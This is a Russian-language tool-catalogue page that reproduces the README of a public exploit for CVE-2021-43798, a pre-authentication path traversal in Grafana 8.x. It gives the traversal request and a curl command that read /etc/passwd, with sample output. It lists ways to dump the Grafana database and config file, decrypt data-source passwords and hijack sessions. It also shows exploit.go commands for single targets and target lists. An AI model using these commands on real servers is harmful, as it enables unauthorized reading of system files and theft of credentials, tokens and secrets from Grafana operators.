Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth) | Kitploit
Инструменты/GitHubGitHub/taythebot/cve-2021-43798
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)

Репозиторий
41814 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-43798

Grafana 8.x: Обход пути (без аутентификации)

Вся заслуга принадлежит j0v и его твиту https://twitter.com/j0v0x0/status/1466845212626542607

Отказ от ответственности

Это только для образовательных целей. Я не несу ответственности за ваши действия. Используйте на свой страх и риск.

Добросовестно я отложил публикацию этого PoC до тех пор, пока эта уязвимость не станет публичной или не будет доступен патч.

Содержание

  • Пояснение - Объяснение уязвимости
  • Векторы атак - Список атак, которые вы можете выполнить
  • Скрипт эксплойта - Использование скрипта эксплойта

Пояснение

Я заметил твит от j0v, в котором утверждалось, что найдена ошибка обхода пути в Grafana. Из любопытства я начал изучать исходный код Grafana. В твите упоминалось, что это ошибка без аутентификации. В Grafana есть лишь несколько публичных конечных точек API, и только одна из них принимала путь к файлу от пользователя.

Grafana имеет публичную конечную точку API /public/plugins/:pluginId, которая позволяет просматривать ресурсы плагина. Это работает путем предоставления допустимого :pluginId и последующего указания пути к файлу, например img/logo.png. Однако Grafana не очищает путь к файлу, предоставленный пользователем, что приводит к обходу пути.

Скачать инструмент

Доступ к каталогу осуществляется по пути <grafana>/public/app/plugins/panel/<pluginId>. В стандартной установке Grafana каталог данных Grafana — /usr/share/grafana. Таким образом, вернувшись на 8 каталогов назад, можно достичь корневого каталога файловой системы.

HTTP-запрос:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Проблемный код: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

Примечание: Это не работает в браузере (который автоматически схлопывает ../ в пути)

Это можно протестировать с помощью curl, используя аргумент --path-as-is:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Векторы атак

Вот несколько атак, которые можно выполнить с помощью этой уязвимости

Извлечение базы данных Sqlite

Grafana по умолчанию использует базу данных sqlite3. Она хранится в /var/lib/grafana/grafana.db. Вы можете использовать скрипт exploit.go для извлечения этой базы данных

Пример:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

Затем вы можете прочитать эту базу данных, чтобы получить пользователей, токены аутентификации и источники данных.

Извлечение конфигурационного файла defaults.ini

Grafana хранит свою конфигурацию в файле <grafana>/conf/defaults.ini. Здесь есть несколько интересных значений, таких как secret_key, host, user, password, если используется mysql вместо sqlite3.

Пример:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

Ссылка: https://grafana.com/docs/grafana/latest/administration/configuration/

Расшифровка паролей источников данных

Grafana шифрует все пароли источников данных с помощью AES-256-CBC, используя secret_key из конфигурационного файла defaults.ini. Мы можем извлечь этот конфигурационный файл, как показано выше, а затем расшифровать значения из базы данных.

Ссылка: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

Перехват сессии

Grafana хранит токены сессии в таблице auth_tokens. Мне не удалось перехватить сессию, но если вы прочитаете исходный код, вы сможете разобраться.

Скрипт эксплойта

Пример

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Одиночная цель

root@kitploit:~
go run exploit.go -target <target> -file <path>

Вывод в файл

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

Примечание: Не работает с несколькими целями

Несколько целей

root@kitploit:~
go run exploit.go -list <list> -file <path>

Извлечение defaults.ini

root@kitploit:~
go run exploit.go -target <target> -dump-config

Извлечение базы данных sqlite3

root@kitploit:~
go run exploit.go -target <target> -dump-database

Сборка

root@kitploit:~
make build